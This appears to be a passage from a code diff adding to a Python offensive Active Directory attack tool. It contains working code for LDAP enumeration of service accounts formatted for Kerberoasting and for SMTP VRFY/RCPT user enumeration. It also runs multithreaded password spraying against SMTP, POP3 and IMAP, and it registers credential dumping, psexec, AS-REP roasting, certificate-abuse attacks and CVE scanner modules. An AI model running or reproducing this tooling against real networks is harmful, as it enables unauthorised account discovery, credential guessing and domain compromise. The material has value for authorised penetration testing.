Information Disclosure", + "component": "Kerberos DCE RPC", + "cvss": 8.1, + "severity": "HIGH", + "impact": "Information disclosure / Privilege escalation", + "affected_versions": ["Windows Server 2019+"], + "description": "Improper validation in Kerberos DCE RPC interface", + "attack_vector": "network", + "requires_auth": True, + "exploitation_status": "PATCHED_2023", + "remediation": "Install latest security updates", + "tags": ["kerberos", "rpc", "information-disclosure"] + }, + } + + @classmethod + def get_cve(cls, cve_id: str) -> dict: + """Get CVE details by ID.""" + return cls.CRITICAL_CVES.get(cve_id.upper(), None) + + @classmethod + def get_by_severity(cls, severity: str) -> list: + """Filter CVEs by severity level.""" + return [ + (cve_id, data) for cve_id, data in cls.CRITICAL_CVES.items() + if data.get("severity") == severity + ] + + @classmethod + def get_by_component(cls, component: str) -> list: + """Filter CVEs by affected component.""" + return [ + (cve_id, data) for cve_id, data in cls.CRITICAL_CVES.items() + if component.lower() in data.get("component", "").lower() + ] + + @classmethod + def get_actively_exploited(cls) -> list: + """Get all actively exploited CVEs.""" + return [ + (cve_id, data) for cve_id, data in cls.CRITICAL_CVES.items() + if "ACTIVELY_EXPLOITED" in data.get("exploitation_status", "") or + "CISA_KEV" in data.get("exploitation_status", "") + ] + + @classmethod + def get_by_tag(cls, tag: str) -> list: + """Filter CVEs by tag.""" + return [ + (cve_id, data) for cve_id, data in cls.CRITICAL_CVES.items() + if tag in data.get("tags", []) + ] + + @classmethod + def get_critical(cls) -> list: + """Get all CRITICAL and above severity CVEs.""" + return [ + (cve_id, data) for cve_id, data in cls.CRITICAL_CVES.items() + if data.get("severity") in ["CRITICAL"] + ] + + @classmethod + def get_sorted_by_cvss(cls, reverse: bool = True) -> list: + """Get CVEs sorted by CVSS score.""" + sorted_cves = sorted( + cls.CRITICAL_CVES.items(), + key=lambda x: x[1].get("cvss", 0), + reverse=reverse + ) + return sorted_cves + + @classmethod + def get_by_requires_auth(cls, requires_auth: bool) -> list: + """Filter CVEs by authentication requirement.""" + return [ + (cve_id, data) for cve_id, data in cls.CRITICAL_CVES.items() + if data.get("requires_auth") == requires_auth + ] + + @classmethod + def generate_report(cls, filters: dict = None) -> str: + """Generate a vulnerability report with optional filters.""" + cves = cls.CRITICAL_CVES.items() + + if filters: + if "severity" in filters: + cves = cls.get_by_severity(filters["severity"]) + if "component" in filters: + cves = cls.get_by_component(filters["component"]) + if "tag" in filters: + cves = cls.get_by_tag(filters["tag"]) + + report = "=== ACTIVE DIRECTORY CVE VULNERABILITY REPORT ===\n\n" + report += f"Total CVEs: {len(cves)}\n" + report += f"Report Generated: {datetime.now().isoformat()}\n\n" + + for cve_id, data in sorted(cves, key=lambda x: x[1].get("cvss", 0), reverse=True): + report += f"\n[{cve_id}] {data.get('name', 'N/A')}\n" + report += f" CVSS: {data.get('cvss', 'N/A')} | Severity: {data.get('severity', 'N/A')}\n" + report += f" Component: {data.get('component', 'N/A')}\n" + report += f" Impact: {data.get('impact', 'N/A')}\n" + report += f" Status: {data.get('exploitation_status', 'N/A')}\n" + report += f" Description: {data.get('description', 'N/A')}\n" + report += f" Remediation: {data.get('remediation', 'N/A')}\n" + + return report + + + +class SPNEnumerator: + """Service Principal Name enumerator using LDAP (no impacket.examples.GetUserSPNs)""" + + def __init__(self, target: str, domain: str | None = None, timeout: int = 10): + self.target = target + self.domain = domain + self.timeout = timeout + self.spns: list[dict[str, Any]] = [] + + def enumerate(self) -> list[dict[str, Any]]: + """Enumerate SPNs from LDAP""" + print(f"[VERBOSE] [SPNEnumerator.enumerate] Querying SPNs from {self.target} (domain={self.domain})", file=sys.stderr, flush=True) + try: + server = Server(self.target, get_info=ALL, timeout=self.timeout) + conn = Connection(server, authentication="ANONYMOUS") + + if not conn.bind(): + print(f"[ERROR] [SPNEnumerator.enumerate] LDAP bind failed", file=sys.stderr, flush=True) + return [] + + # Get the base DN from RootDSE + if not conn.search("", "(objectClass=*)", attributes=["defaultNamingContext"]): + print(f"[ERROR] [SPNEnumerator.enumerate] Could not get base DN", file=sys.stderr, flush=True) + conn.unbind() + return [] + + base_dn = conn.entries[0].defaultNamingContext.value if conn.entries else None + if not base_dn: + print(f"[ERROR] [SPNEnumerator.enumerate] No base DN found", file=sys.stderr, flush=True) + conn.unbind() + return [] + + print(f"[VERBOSE] [SPNEnumerator.enumerate] Base DN: {base_dn}", file=sys.stderr, flush=True) + + # Search for objects with SPN attribute + search_filter = "(&(objectClass=user)(servicePrincipalName=*))" + conn.search( + base_dn, + search_filter, + attributes=["sAMAccountName", "servicePrincipalName", "userAccountControl"] + ) + + for entry in conn.entries: + sam = entry.sAMAccountName.value if hasattr(entry, "sAMAccountName") else "unknown" + spn_list = entry.servicePrincipalName.values if hasattr(entry, "servicePrincipalName") else [] + uac = entry.userAccountControl.value if hasattr(entry, "userAccountControl") else 0 + + for spn in spn_list: + self.spns.append({ + "sAMAccountName": sam, + "servicePrincipalName": spn, + "userAccountControl": uac, + }) + print(f"[VERBOSE] [SPNEnumerator.enumerate] Found SPN: {sam} -> {spn}", file=sys.stderr, flush=True) + + conn.unbind() + print(f"[VERBOSE] [SPNEnumerator.enumerate] Enumerated {len(self.spns)} SPNs", file=sys.stderr, flush=True) + return self.spns + + except Exception as e: + print(f"[ERROR] [SPNEnumerator.enumerate] Exception: {e}", file=sys.stderr, flush=True) + return [] + + def get_kerberoast_hashes(self) -> str: + """Format SPNs for Kerberoasting (hashcat/john format)""" + output_lines = [] + for spn_record in self.spns: + sam = spn_record["sAMAccountName"] + spn = spn_record["servicePrincipalName"] + output_lines.append(f"{sam}:{spn}") + return "\n".join(output_lines) + + def save_to_file(self, filepath: str) -> None: + """Save enumerated SPNs to file""" + with open(filepath, "w") as f: + f.write(self.get_kerberoast_hashes()) + print(f"[VERBOSE] [SPNEnumerator.save_to_file] Saved {len(self.spns)} SPNs to {filepath}", file=sys.stderr, flush=True) + + +# ============================================================================ +# EMAIL PROTOCOL ENUMERATION (SMTP/POP3/IMAP) +# ============================================================================ + +def smtp_connect_test( + smtp_server: str, + port: int = 25, + timeout: float = 5.0, +) -> tuple[bool, str]: + """Test SMTP connectivity and detect service banner""" + print(f"[VERBOSE] [smtp_connect_test] Testing SMTP {smtp_server}:{port}", file=sys.stderr, flush=True) + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + sock.connect((smtp_server, port)) + banner = sock.recv(1024).decode("utf-8", errors="replace").strip() + sock.close() + print(f"[VERBOSE] [smtp_connect_test] SMTP banner: {banner}", file=sys.stderr, flush=True) + return True, banner + except (socket.timeout, socket.error, OSError) as e: + print(f"[VERBOSE] [smtp_connect_test] Error: {e}", file=sys.stderr, flush=True) + return False, str(e) + + +def smtp_vrfy_enum( + smtp_server: str, + usernames: list[str], + port: int = 25, + timeout: float = 5.0, +) -> list[str]: + """Enumerate valid users via SMTP VRFY command""" + discovered = [] + print(f"[VERBOSE] [smtp_vrfy_enum] Starting SMTP VRFY enumeration on {smtp_server}", file=sys.stderr, flush=True) + try: + smtp = smtplib.SMTP(smtp_server, port, timeout=timeout) + smtp.set_debuglevel(0) + for username in usernames: + try: + code, response = smtp.verify(username) + if code == 250: + discovered.append(username) + print(f"[VERBOSE] [smtp_vrfy_enum] VRFY enumeration succeeded", file=sys.stderr, flush=True) + except Exception: + continue + smtp.quit() + except Exception as e: + print(f"[VERBOSE] [smtp_vrfy_enum] Error: {e}", file=sys.stderr, flush=True) + print(f"[VERBOSE] [smtp_vrfy_enum] Found {len(discovered)} users", file=sys.stderr, flush=True) + return discovered + + +def smtp_rcpt_enum( + smtp_server: str, + domain: str, + usernames: list[str], + port: int = 25, + timeout: float = 5.0, +) -> list[str]: + """Enumerate valid email addresses via SMTP RCPT TO""" + discovered = [] + print(f"[VERBOSE] [smtp_rcpt_enum] Starting SMTP RCPT TO enumeration on {smtp_server}", file=sys.stderr, flush=True) + try: + smtp = smtplib.SMTP(smtp_server, port, timeout=timeout) + smtp.set_debuglevel(0) + smtp.mail("admin@example.com") + for username in usernames: + email = f"{username}@{domain}" + try: + code, response = smtp.rcpt(email) + if code == 250: + discovered.append(email) + print(f"[VERBOSE] [smtp_rcpt_enum] RCPT success: {email}", file=sys.stderr, flush=True) + except Exception: + continue + smtp.quit() + except Exception as e: + print(f"[VERBOSE] [smtp_rcpt_enum] Error: {e}", file=sys.stderr, flush=True) + print(f"[VERBOSE] [smtp_rcpt_enum] Found {len(discovered)} recipients", file=sys.stderr, flush=True) + return discovered + + +def smtp_auth_test( + smtp_server: str, + username: str, + password: str, + port: int = 587, + timeout: float = 10.0, + use_tls: bool = True, +) -> bool: + """Test SMTP authentication""" + print(f"[VERBOSE] [smtp_auth_test] Testing SMTP authentication on {smtp_server}:{port}", file=sys.stderr, flush=True) + try: + smtp = smtplib.SMTP(smtp_server, port, timeout=timeout) + smtp.set_debuglevel(0) + if use_tls and port != 465: + smtp.starttls() + smtp.login(username, password) + smtp.quit() + print(f"[VERBOSE] [smtp_auth_test] SMTP authentication successful", file=sys.stderr, flush=True) + return True + except (smtplib.SMTPAuthenticationError, socket.timeout, Exception) as e: + print(f"[VERBOSE] [smtp_auth_test] SMTP auth failed: {e}", file=sys.stderr, flush=True) + return False + + +def pop3_auth_test( + pop3_server: str, + username: str, + password: str, + port: int = 110, + timeout: float = 10.0, + use_ssl: bool = False, +) -> bool: + """Test POP3 authentication""" + print(f"[VERBOSE] [pop3_auth_test] Testing POP3 authentication on {pop3_server}:{port}", file=sys.stderr, flush=True) + try: + if use_ssl: + pop3 = poplib.POP3_SSL(pop3_server, port, timeout=timeout) + else: + pop3 = poplib.POP3(pop3_server, port, timeout=timeout) + pop3.user(username) + pop3.pass_(password) + pop3.quit() + print(f"[VERBOSE] [pop3_auth_test] POP3 authentication successful", file=sys.stderr, flush=True) + return True + except (poplib.error_proto, socket.timeout, Exception) as e: + print(f"[VERBOSE] [pop3_auth_test] POP3 auth failed: {e}", file=sys.stderr, flush=True) + return False + + +def imap_auth_test( + imap_server: str, + username: str, + password: str, + port: int = 143, + timeout: float = 10.0, + use_ssl: bool = False, +) -> bool: + """Test IMAP authentication""" + print(f"[VERBOSE] [imap_auth_test] Testing IMAP authentication on {imap_server}:{port}", file=sys.stderr, flush=True) + try: + if use_ssl: + imap = imaplib.IMAP4_SSL(imap_server, port, timeout=timeout) + else: + imap = imaplib.IMAP4(imap_server, port, timeout=timeout) + imap.login(username, password) + imap.logout() + print(f"[VERBOSE] [imap_auth_test] IMAP authentication successful", file=sys.stderr, flush=True) + return True + except (imaplib.IMAP4.error, socket.timeout, Exception) as e: + print(f"[VERBOSE] [imap_auth_test] IMAP auth failed: {e}", file=sys.stderr, flush=True) + return False + + +def credential_test_fallback( + smtp_server: str, + pop3_server: str | None, + imap_server: str | None, + username: str, + password: str, + timeout: float = 10.0, +) -> tuple[bool, str]: + """Test credentials with protocol fallback: SMTP -> POP3 -> IMAP""" + print(f"[VERBOSE] [credential_test_fallback] Testing credentials with protocol fallback", file=sys.stderr, flush=True) + if smtp_auth_test(smtp_server, username, password, timeout=timeout): + return True, "SMTP" + if pop3_server and pop3_auth_test(pop3_server, username, password, timeout=timeout): + return True, "POP3" + if imap_server and imap_auth_test(imap_server, username, password, timeout=timeout): + return True, "IMAP" + return False, "None" + + +def pop3_capabilities( + pop3_server: str, + port: int = 110, + timeout: float = 5.0, + use_ssl: bool = False, +) -> list[str]: + """Detect POP3 server capabilities""" + print(f"[VERBOSE] [pop3_capabilities] Querying POP3 capabilities on {pop3_server}:{port}", file=sys.stderr, flush=True) + try: + if use_ssl: + pop3 = poplib.POP3_SSL(pop3_server, port, timeout=timeout) + else: + pop3 = poplib.POP3(pop3_server, port, timeout=timeout) + + capabilities = [] + status, response = pop3.capa() + if status == "OK": + for line in response: + cap = line.decode() if isinstance(line, bytes) else line + capabilities.append(cap) + print(f"[VERBOSE] [pop3_capabilities] Capability: {cap}", file=sys.stderr, flush=True) + + pop3.quit() + return capabilities + except Exception as e: + print(f"[VERBOSE] [pop3_capabilities] Error querying capabilities: {e}", file=sys.stderr, flush=True) + return [] + + +def imap_capabilities( + imap_server: str, + port: int = 143, + timeout: float = 5.0, + use_ssl: bool = False, +) -> list[str]: + """Detect IMAP server capabilities""" + print(f"[VERBOSE] [imap_capabilities] Querying IMAP capabilities on {imap_server}:{port}", file=sys.stderr, flush=True) + try: + if use_ssl: + imap = imaplib.IMAP4_SSL(imap_server, port, timeout=timeout) + else: + imap = imaplib.IMAP4(imap_server, port, timeout=timeout) + + status, response = imap.capability() + if status == "OK": + capabilities = response[0].decode() if isinstance(response[0], bytes) else response[0] + cap_list = capabilities.split() + print(f"[VERBOSE] [imap_capabilities] Server capabilities: {cap_list}", file=sys.stderr, flush=True) + imap.logout() + return cap_list + + imap.logout() + return [] + except Exception as e: + print(f"[VERBOSE] [imap_capabilities] Error querying capabilities: {e}", file=sys.stderr, flush=True) + return [] + + +def detect_exchange_ews( + domain: str, + timeout: float = 10.0, +) -> tuple[bool, str | None]: + """Detect Exchange Web Services (EWS) endpoint for Exchange/O365 detection""" + print(f"[VERBOSE] [detect_exchange_ews] Checking for EWS endpoint on {domain}", file=sys.stderr, flush=True) + try: + import httpx + + ews_urls = [ + f"https://{domain}/EWS/Exchange.asmx", + f"https://mail.{domain}/EWS/Exchange.asmx", + f"https://exchange.{domain}/EWS/Exchange.asmx", + f"https://owa.{domain}/EWS/Exchange.asmx", + ] + + for ews_url in ews_urls: + try: + response = httpx.head(ews_url, timeout=timeout, verify=False) + if response.status_code in (200, 401, 403): + print(f"[VERBOSE] [detect_exchange_ews] Found EWS endpoint: {ews_url} (Status: {response.status_code})", file=sys.stderr, flush=True) + return True, ews_url + except Exception as e: + print(f"[VERBOSE] [detect_exchange_ews] EWS check failed for {ews_url}: {e}", file=sys.stderr, flush=True) + + return False, None + except ImportError: + print(f"[VERBOSE] [detect_exchange_ews] httpx not available, skipping EWS detection", file=sys.stderr, flush=True) + return False, None + except Exception as e: + print(f"[VERBOSE] [detect_exchange_ews] Error detecting EWS: {e}", file=sys.stderr, flush=True) + return False, None + + +def discover_email_servers(domain: str, timeout: float = 10.0) -> dict[str, Any]: + """Discover email servers via DNS MX records and port scanning""" + print(f"[VERBOSE] [discover_email_servers] Discovering email servers for domain: {domain}", file=sys.stderr, flush=True) + results = { + "domain": domain, + "mx_records": [], + "smtp_servers": [], + "pop3_servers": [], + "imap_servers": [], + "service_type": "Unknown", + "is_o365": False, + "is_exchange": False, + "exchange_version": None, + } + + try: + import dns.resolver + + mx_records = [] + try: + mx_query = dns.resolver.resolve(domain, "MX", lifetime=timeout) + for rdata in mx_query: + mx_host = str(rdata.exchange).rstrip(".") + mx_priority = rdata.preference + mx_records.append((mx_host, mx_priority)) + print(f"[VERBOSE] [discover_email_servers] Found MX record: {mx_host} (priority {mx_priority})", file=sys.stderr, flush=True) + except Exception as e: + print(f"[VERBOSE] [discover_email_servers] MX lookup failed: {e}", file=sys.stderr, flush=True) + + results["mx_records"] = [{"host": h, "priority": p} for h, p in mx_records] + + if "outlook.office365.com" in str(mx_records) or "outlook.com" in domain.lower(): + results["is_o365"] = True + results["service_type"] = "Office365" + print(f"[VERBOSE] [discover_email_servers] Detected Office365 service", file=sys.stderr, flush=True) + + for mx_host, _ in mx_records: + for port in [25, 587, 465]: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((mx_host, port)) + sock.close() + + if result == 0: + success, banner = smtp_connect_test(mx_host, port, timeout) + results["smtp_servers"].append({ + "host": mx_host, + "port": port, + "responsive": success, + "banner": banner or "No banner", + }) + + if banner: + if "Microsoft" in banner: + results["is_exchange"] = True + if "2021" in banner or "2019" in banner or "2016" in banner: + results["exchange_version"] = next(v for v in ["2021", "2019", "2016"] if v in banner) + results["service_type"] = f"Exchange {results['exchange_version'] or 'Unknown'}" + except Exception as e: + print(f"[VERBOSE] [discover_email_servers] Port {port} on {mx_host} check failed: {e}", file=sys.stderr, flush=True) + + for port in [110, 995]: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((mx_host, port)) + sock.close() + + if result == 0: + success = pop3_auth_test(mx_host, "test", "test", port=port, timeout=timeout) + results["pop3_servers"].append({ + "host": mx_host, + "port": port, + "responsive": success, + }) + except Exception: + pass + + for port in [143, 993]: + try: + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(timeout) + result = sock.connect_ex((mx_host, port)) + sock.close() + + if result == 0: + success = imap_auth_test(mx_host, "test", "test", port=port, timeout=timeout) + results["imap_servers"].append({ + "host": mx_host, + "port": port, + "responsive": success, + }) + except Exception: + pass + + except ImportError: + print(f"[VERBOSE] [discover_email_servers] dnspython not available, skipping MX record lookup", file=sys.stderr, flush=True) + except Exception as e: + print(f"[VERBOSE] [discover_email_servers] Error discovering email servers: {e}", file=sys.stderr, flush=True) + + print(f"[VERBOSE] [discover_email_servers] Discovery complete: found {len(results['smtp_servers'])} SMTP, {len(results['pop3_servers'])} POP3, {len(results['imap_servers'])} IMAP servers", file=sys.stderr, flush=True) + return results + + +def parallel_credential_testing( + email_servers: list[str], + discovered_users: list[str], + common_passwords: list[str], + timeout: float = 10.0, + max_workers: int = 8, +) -> list[dict[str, Any]]: + """Test credentials against discovered email servers in parallel""" + print(f"[VERBOSE] [parallel_credential_testing] Starting parallel credential testing against {len(email_servers)} servers with {len(discovered_users)} users", file=sys.stderr, flush=True) + + credentials_found = [] + failed_attempts = 0 + + def test_credential(server: str, username: str, password: str) -> dict[str, Any]: + nonlocal failed_attempts + success, protocol = credential_test_fallback(server, server, server, username, password, timeout=timeout) + if success: + return { + "username": username, + "password": password, + "server": server, + "protocol": protocol, + "verified": True, + } + failed_attempts += 1 + return None + + with ThreadPoolExecutor(max_workers=max_workers) as executor: + futures = [] + for server in email_servers: + for user in discovered_users: + for pwd in common_passwords: + future = executor.submit(test_credential, server, user, pwd) + futures.append(future) + + for future in as_completed(futures): + try: + result = future.result() + if result: + credentials_found.append(result) + print(f"[VERBOSE] [parallel_credential_testing] Found valid credential: {result['username']} on {result['server']}", file=sys.stderr, flush=True) + except Exception as e: + print(f"[VERBOSE] [parallel_credential_testing] Error testing credential: {e}", file=sys.stderr, flush=True) + failed_attempts += 1 + + print(f"[VERBOSE] [parallel_credential_testing] Testing complete: {len(credentials_found)} credentials found, {failed_attempts} failed attempts", file=sys.stderr, flush=True) + return credentials_found + + +def enumerate_email_protocols( + domain: str | None, + target: str, + common_users: list[str], + common_passwords: list[str], + timeout: float = 10.0, +) -> dict[str, Any]: + """Comprehensive email protocol enumeration with discovery, user enum, and credential testing""" + print(f"[VERBOSE] [enumerate_email_protocols] Starting comprehensive email enumeration for domain={domain}, target={target}", file=sys.stderr, flush=True) + + results = { + "domain": domain or target, + "smtp_users": [], + "pop3_users": [], + "imap_users": [], + "credentials_found": [], + "email_servers": [], + "service_type": "Unknown", + "is_o365": False, + "is_exchange": False, + "ews_endpoint": None, + "summary": {}, + } + + try: + if domain: + print(f"[VERBOSE] [enumerate_email_protocols] Phase 1: Email server discovery for {domain}", file=sys.stderr, flush=True) + email_discovery = discover_email_servers(domain, timeout=timeout) + results["email_servers"] = email_discovery.get("smtp_servers", []) + results["is_o365"] = email_discovery.get("is_o365", False) + results["is_exchange"] = email_discovery.get("is_exchange", False) + results["service_type"] = email_discovery.get("service_type", "Unknown") + + if email_discovery.get("is_exchange"): + print(f"[VERBOSE] [enumerate_email_protocols] Detected Exchange service: {results['service_type']}", file=sys.stderr, flush=True) + ews_found, ews_url = detect_exchange_ews(domain, timeout=timeout) + if ews_found: + results["ews_endpoint"] = ews_url + + if results["email_servers"] or target: + print(f"[VERBOSE] [enumerate_email_protocols] Phase 2: User enumeration via SMTP", file=sys.stderr, flush=True) + smtp_target = results["email_servers"][0].get("host") if results["email_servers"] else target + + discovered_users = smtp_vrfy_enum(smtp_target, common_users, port=25, timeout=timeout) + results["smtp_users"] = discovered_users + print(f"[VERBOSE] [enumerate_email_protocols] SMTP VRFY enumeration found {len(discovered_users)} users", file=sys.stderr, flush=True) + + if domain and discovered_users: + print(f"[VERBOSE] [enumerate_email_protocols] Phase 3: SMTP RCPT TO validation", file=sys.stderr, flush=True) + rcpt_users = smtp_rcpt_enum(smtp_target, domain, discovered_users, port=25, timeout=timeout) + results["smtp_users"] = list(set(discovered_users + rcpt_users)) + + if discovered_users: + print(f"[VERBOSE] [enumerate_email_protocols] Phase 4: Credential testing with protocol fallback", file=sys.stderr, flush=True) + smtp_targets = [s.get("host") for s in results["email_servers"]] if results["email_servers"] else [target] + credentials = parallel_credential_testing( + smtp_targets[:3], + discovered_users[:10], + common_passwords, + timeout=timeout, + max_workers=8, + ) + results["credentials_found"] = credentials + print(f"[VERBOSE] [enumerate_email_protocols] Found {len(credentials)} valid credentials", file=sys.stderr, flush=True) + + results["summary"] = { + "total_users_discovered": len(results["smtp_users"]), + "total_credentials_found": len(results["credentials_found"]), + "smtp_servers": len(results["email_servers"]), + "service_identified": results["service_type"], + } + + except Exception as e: + print(f"[VERBOSE] [enumerate_email_protocols] Error during enumeration: {e}", file=sys.stderr, flush=True) + results["error"] = str(e) + + print(f"[VERBOSE] [enumerate_email_protocols] Enumeration complete: {results['summary']}", file=sys.stderr, flush=True) + return results + + +AUTO_INSTALL_TOOLS = { + "nmap_scan", + "masscan_scan", + "enum4linux_ng", + "smbclient_enum", + "bloodhound_python", + "certipy_find", + "ldapdomaindump", + "kerbrute_userenum", + "crackmapexec", + "smbmap", + "impacket_secretsdump", + "impacket_psexec", + # Windows-native tools (no installation needed on Windows) + "powershell_ldap_enum", + "powershell_smb_enum", + "powershell_ad_recon", + # Python-based Windows enumeration (cross-platform) + "enum_windows_py", + # Kerberos/Kerberoasting (via impacket) + "GetUserSPNs", + "AS_REP_roast", + "kerberoast", + # ADCS certificate attacks (via certipy-ad) + "certipy_shadow", + "certipy_esc1", + "certipy_esc3", + "certipy_esc9", + # Email protocol enumeration (pure Python, standard library) + "smtp_enum", + "smtp_auth_test", + "pop3_auth_test", + "imap_auth_test", + "email_server_discovery", +} + +APT_PACKAGES: dict[str, list[str]] = { + "nmap_scan": ["nmap"], + "masscan_scan": ["masscan"], + "smbclient_enum": ["smbclient"], + "crackmapexec": ["crackmapexec"], +} + +WINGET_PACKAGES: dict[str, list[str]] = { + "nmap_scan": ["Nmap.Nmap"], + "masscan_scan": ["robertdavidgraham.masscan"], +} + +PIP_PACKAGES: dict[str, list[str]] = { + "bloodhound_python": ["bloodhound"], + "certipy_find": ["certipy-ad"], + "ldapdomaindump": ["ldapdomaindump"], + "crackmapexec": ["impacket"], # Fallback to impacket which provides similar functionality + "smbmap": ["smbmap"], + "impacket_secretsdump": ["impacket"], + "impacket_psexec": ["impacket"], + "GetUserSPNs": [], # Uses custom LDAP-based SPNEnumerator (no impacket needed) + "AS_REP_roast": ["impacket"], + "kerberoast": ["impacket"], + "certipy_shadow": ["certipy-ad"], + "certipy_esc1": ["certipy-ad"], + "certipy_esc3": ["certipy-ad"], + "certipy_esc9": ["certipy-ad"], + # Email protocol enumeration (pure Python, standard library) + "smtp_enum": [], + "smtp_auth_test": [], + "pop3_auth_test": [], + "imap_auth_test": [], + "email_server_discovery": [], + # CVE scanners (pure Python, uses ldap3) + "cve_2026_59270_spring_ldap": [], + "cve_2026_54121_certighost": [], + "cve_2025_54918_ntlm_ldap_bypass": [], + "cve_2026_33826_ad_rce": [], + "cve_2026_27912_resetnightmare": [], + "cve_2026_24294_ntlm_reflection": [], + "cve_2026_20833_kerberos_rc4": [], + "cve_2025_33073_smb_ntlm_reflection": [], + "cve_2025_29810_ad_privesc": [], + "cve_2025_58726_ghost_spn": [], + "cve_2026_25177_unicode_spn": [], + "cve_2025_24054_ntlm_hash_leak": [], + "cve_2026_20929_kerberos_dns_relay": [], +} + +# Alternative git-based installation for tools not available on PyPI +GIT_PACKAGES: dict[str, dict[str, str]] = { + "crackmapexec": { + "url": "https://github.com/Porchetta-Industries/CrackMapExec.git", + "branch": "master", + "install_cmd": "pip install -e .", + }, +} + +ENUM4LINUX_NG_GIT = "https://github.com/cddmp/enum4linux-ng.git" +ENUM4LINUX_NG_DIR = Path("enum4linux-ng") +ENUM4LINUX_NG_SCRIPT = ENUM4LINUX_NG_DIR / "enum4linux-ng.py" + +def get_kerbrute_url() -> str: + system = platform.system() + if system == "Windows": + return "https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_windows_amd64.exe" + elif system == "Darwin": + return "https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_darwin_amd64" + else: # Linux + return "https://github.com/ropnop/kerbrute/releases/latest/download/kerbrute_linux_amd64" + +EXECUTABLES: dict[str, list[str]] = { + "nmap_scan": ["nmap", "nmap.exe"], + "masscan_scan": ["masscan", "masscan.exe"], + "enum4linux_ng": [ + "enum4linux-ng", + "enum4linux-ng.py", + "enum4linux-ng.exe", + ], + "rpcdump_scan": [ + "rpcdump", + "rpcdump.py", + "rpcdump.exe", + ], + "smbclient_enum": [ + "smbclient", + "smbclient.exe", + ], + "bloodhound_python": [ + "bloodhound-python", + "bloodhound-python.py", + "bloodhound-python.exe", + ], + "certipy_find": [ + "certipy", + "certipy.py", + "certipy.exe", + ], + "ldapdomaindump": [ + "ldapdomaindump", + "ldapdomaindump.py", + "ldapdomaindump.exe", + ], + "kerbrute_userenum": [ + "kerbrute", + "kerbrute.exe", + ], + "crackmapexec": [ + "cme", + "crackmapexec", + "crackmapexec.exe", + ], + "smbmap": [ + "smbmap", + "smbmap.py", + "smbmap.exe", + ], + "impacket_secretsdump": [ + "secretsdump.py", + "secretsdump", + "secretsdump.exe", + ], + "impacket_psexec": [ + "psexec.py", + "psexec", + "psexec.exe", + ], + "powershell_ldap_enum": [ + "powershell", + "pwsh", + "powershell.exe", + ], + "powershell_smb_enum": [ + "powershell", + "pwsh", + "powershell.exe", + ], + "powershell_ad_recon": [ + "powershell", + "pwsh", + "powershell.exe", + ], + "enum_windows_py": [ + "python3", + "python", + "python.exe", + ], + "GetUserSPNs": [ + "python3", + "python", + "python.exe", + ], # Custom LDAP-based SPN enumeration (no external binary needed) + "AS_REP_roast": [ + "python3", + "python", + "python.exe", + ], + "kerberoast": [ + "python3", + "python", + "python.exe", + ], + "certipy_shadow": [ + "certipy", + "certipy.py", + "certipy.exe", + ], + "certipy_esc1": [ + "certipy", + "certipy.py", + "certipy.exe", + ], + "certipy_esc3": [ + "certipy", + "certipy.py", + "certipy.exe", + ], + "certipy_esc9": [ + "certipy", + "certipy.py", + "certipy.exe", + ], + # Pure Python email protocol enumeration tools (no external binaries) + "smtp_enum": [ + "python3", + "python", + "python.exe", + ], + "smtp_auth_test": [ + "python3", + "python", + "python.exe", + ], + "pop3_auth_test": [ + "python3", + "python", + "python.exe", + ], + "imap_auth_test": [ + "python3", + "python", + "python.exe", + ], + "email_server_discovery": [ + "python3", + "python", + "python.exe", + ], + "cve_2026_59270_spring_ldap": [ + "python3", + "python", + "python.exe", + ], + "cve_2026_54121_certighost": [ + "python3", + "python", + "python.exe", + ], + "cve_2025_54918_ntlm_ldap_bypass": [ + "python3", + "python", + "python.exe", + ], + "cve_2026_33826_ad_rce": [ + "python3", + "python", + "python.exe", + ], + "cve_2026_27912_resetnightmare": [ + "python3", + "python", + "python.exe", + ], + "cve_2026_24294_ntlm_reflection": [ + "python3", + "python", + "python.exe", + ], + "cve_2026_20833_kerberos_rc4": [ + "python3", + "python", + "python.exe", + ], + "cve_2025_33073_smb_ntlm_reflection": [ + "python3", + "python", + "python.exe", + ], + "cve_2025_29810_ad_privesc": [ + "python3", + "python", + "python.exe", + ], + "cve_2025_58726_ghost_spn": [ + "python3", + "python", + "python.exe", + ], + "cve_2026_25177_unicode_spn": [ + "python3", + "python", + "python.exe", + ], + "cve_2025_24054_ntlm_hash_leak": [ + "python3", + "python", + "python.exe", + ], + "cve_2026_20929_kerberos_dns_relay": [ + "python3", + "python", + "python.exe", + ], +} + +# ============================================================================ +# DOMAIN CONTROLLER DETECTION CONSTANTS +# ============================================================================ + +DC_SIGNATURE_PORTS = {88, 389, 636, 3268, 3269} + +AD_RECON_PORTS: dict[int, str] = { + 53: "DNS", + 88: "Kerberos", + 135: "RPC", + 139: "NetBIOS", + 389: "LDAP", + 445: "SMB", + 464: "Kerberos-changepw", + 636: "LDAPS", + 3268: "Global Catalog", + 3269: "Global Catalog SSL", + 5985: "WinRM-HTTP", + 5986: "WinRM-HTTPS", + 9389: "AD-Web-Services", +} + +DC_SRV_RECORDS = [ + "_ldap._tcp.dc._msdcs", + "_kerberos._tcp.dc._msdcs", + "_ldap._tcp", + "_kerberos._tcp", + "_gc._tcp", + "_kpasswd._tcp", +] + + +# ============================================================================ +# COMPREHENSIVE CONFIGURATION & LOGGING PROFILER +# ============================================================================ + +@dataclass +class ProfilerMetrics: + start_time: float = field(default_factory=time.time) + resolved_targets_count: int = 0 + live_hosts_scanned: int = 0 + tools_executed_count: int = 0 + dcs_detected: int = 0 + errors_encountered: list[str] = field(default_factory=list) + + def record_error(self, message: str) -> None: + self.errors_encountered.append(message) + print(f"[VERBOSE] [Profiler] ERROR RECORDED: {message}", file=sys.stderr, flush=True) + + def summary(self) -> dict[str, Any]: + duration = time.time() - self.start_time + return { + "execution_duration_seconds": round(duration, 4), + "resolved_targets_count": self.resolved_targets_count, + "live_hosts_scanned": self.live_hosts_scanned, + "dcs_detected": self.dcs_detected, + "tools_executed_count": self.tools_executed_count, + "error_count": len(self.errors_encountered), + "errors": self.errors_encountered, + } + + +GLOBAL_PROFILER = ProfilerMetrics() + + +# ============================================================================ +# ADVANCED SCOPE STRUCTURAL VALIDATION +# 